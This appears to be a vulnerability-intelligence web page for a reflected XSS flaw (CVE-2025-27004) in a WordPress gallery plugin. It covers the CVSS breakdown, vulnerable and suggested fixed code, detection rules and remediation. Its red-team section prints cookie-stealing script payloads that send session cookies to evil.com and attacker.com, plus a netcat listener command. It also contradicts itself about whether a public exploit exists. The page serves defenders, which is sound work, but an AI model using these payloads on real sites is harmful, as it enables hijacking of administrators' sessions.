☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Lambertgroup logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-27004

CVE-2025-27004 Cross-Site Scripting in Lambertgroup
📅 PUBLISHED: 2026-01-08 10:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: <0.01%
👁️
<0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27004 is a reflected Cross-Site Scripting (XSS) vulnerability in the Famous - Responsive Image And Video Grid Gallery WordPress plugin, developed by LambertGroup. The flaw exists in versions n/a through 1.4, where user-supplied input is improperly neutralized during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated WordPress administrator or editor, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WordPress plugins.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via ZIP upload are at risk. No package manager (NPM, PyPI, Go, Ruby) is involved, but the plugin's update mechanism should be monitored. The vendor (LambertGroup) has not released a patch, so users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – The XSS can impact resources beyond the vulnerable component (e.g., WordPress admin session).
  • Confidentiality (C): Low (L) – Limited data exposure (e.g., cookies, tokens).
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: High (7.1) – Reflected XSS in a WordPress plugin can lead to admin account takeover if a privileged user is targeted.

Deep Dive & Mechanics

The vulnerability resides in the famous_grid_image_and_video_gallery plugin, specifically in how it handles URL parameters or POST data when rendering the gallery. The plugin fails to sanitize or escape user input before embedding it into the HTML response. An attacker can inject arbitrary JavaScript via a crafted query string (e.g., ?gallery_id=<script>alert(1)</script>). When the victim's browser renders the page, the script executes in the context of the WordPress site.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying esc_html(), esc_attr(), or wp_kses().

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?page_id=123&gallery_id=<script>document.location='https://evil.com/steal.php?c='+document.cookie</script>
  2. Attacker sends the link via email, social media, or a forum.
  3. Victim (e.g., WordPress admin) clicks the link while authenticated.
  4. The plugin renders the gallery page, injecting the script.
  5. The script executes, stealing the victim's session cookies and sending them to the attacker.
  6. Attacker uses the cookies to hijack the admin session.

Vulnerable vs. Patched Code

Vulnerable Code (v1.4):

<?php
// In a template or shortcode handler
$gallery_id = $_GET['gallery_id'];
echo '<div class="famous-gallery" data-id="' . $gallery_id . '">';
?>

Patched Code (Hypothetical):

<?php
$gallery_id = isset($_GET['gallery_id']) ? sanitize_text_field($_GET['gallery_id']) : '';
echo '<div class="famous-gallery" data-id="' . esc_attr($gallery_id) . '">';
?>

The patched version uses sanitize_text_field() to strip malicious content and esc_attr() to safely output the value in an HTML attribute context.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  • WordPress 6.x with Famous plugin v1.4 installed.
  • Attacker machine with a web server to receive stolen cookies (e.g., python3 -m http.server 80).
  • Victim browser (Chrome/Firefox) logged in as admin.

Exploit Payload:

<script>
var img = new Image();
img.src = 'http://attacker.com/steal.php?c=' + document.cookie;
</script>

Crafted URL:

http://victim-site.com/?page_id=123&gallery_id=<script>var img=new Image();img.src='http://attacker.com/steal.php?c='+document.cookie;</script>

Steps:

  1. Start a listener on attacker machine: nc -lvnp 80 or use a PHP script.
  2. Send the crafted URL to the victim.
  3. Victim clicks the link while logged into WordPress.
  4. The script executes, sending cookies to the attacker.
  5. Attacker captures the cookie and uses it to impersonate the admin.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script> tags in query parameters.
  • Use WAF rules to block reflected XSS patterns (e.g., (?i)<script).
  • Deploy Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  • Disable or remove the plugin until a patch is available.
  • Apply a virtual patch via WAF: block URLs containing gallery_id= with script-like content.
  • Educate users to avoid clicking suspicious links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests with gallery_id=<script> or similar patterns.
    • Outbound connections to unknown IPs/domains from the WordPress server.
  • File IOCs:
    • Modified WordPress core files (unlikely, but check).
    • Suspicious entries in wp-content/plugins/famous-grid-gallery/ (e.g., backdoored files).
  • Log IOCs:
    • Web server logs showing GET /?page_id=123&gallery_id=%3Cscript%3E....
    • WordPress debug logs with unexpected output.

Detection Engineering

YARA Rule

rule CVE_2025_27004_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Famous Grid Gallery plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-27004"
    strings:
        $xss1 = /gallery_id=.*<script/i
        $xss2 = /gallery_id=.*%3Cscript/i
        $xss3 = /gallery_id=.*onerror/i
        $xss4 = /gallery_id=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Famous Grid Gallery Plugin
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads in gallery_id parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'gallery_id='
        c-uri|re: '(?i)<script|%3Cscript|onerror|onload|alert\(|prompt\(|confirm\('
    condition: selection
falsepositives:
    - Legitimate use of script-like strings in gallery IDs (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27004 Reflected XSS in Famous Grid Gallery"; flow:to_server,established; content:"gallery_id="; http_uri; pcre:"/(?i)<script|%3Cscript|onerror|onload|alert\(|prompt\(|confirm\(/"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the plugin if not critical. Remove it from all WordPress installations.
  2. Virtual Patching: Use a WAF (e.g., Cloudflare, ModSecurity) to block requests containing gallery_id= with script-like patterns.
  3. Code Fix: Apply the patched code snippet (see Vulnerable vs. Patched Code) if you have developer access.
  4. User Education: Train users to avoid clicking untrusted links, especially when logged into WordPress.
  5. Monitoring: Enable logging and alerting for XSS patterns in web server logs.
  6. Update: Monitor the plugin's official page for a security update. If none appears within 30 days, consider replacing the plugin with an alternative.

Valters IT – Securing digital ecosystems with precision.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Famous - Responsive Image And Video Grid Gallery"
http.html:"famous_grid_image_and_video_gallery"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27004/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.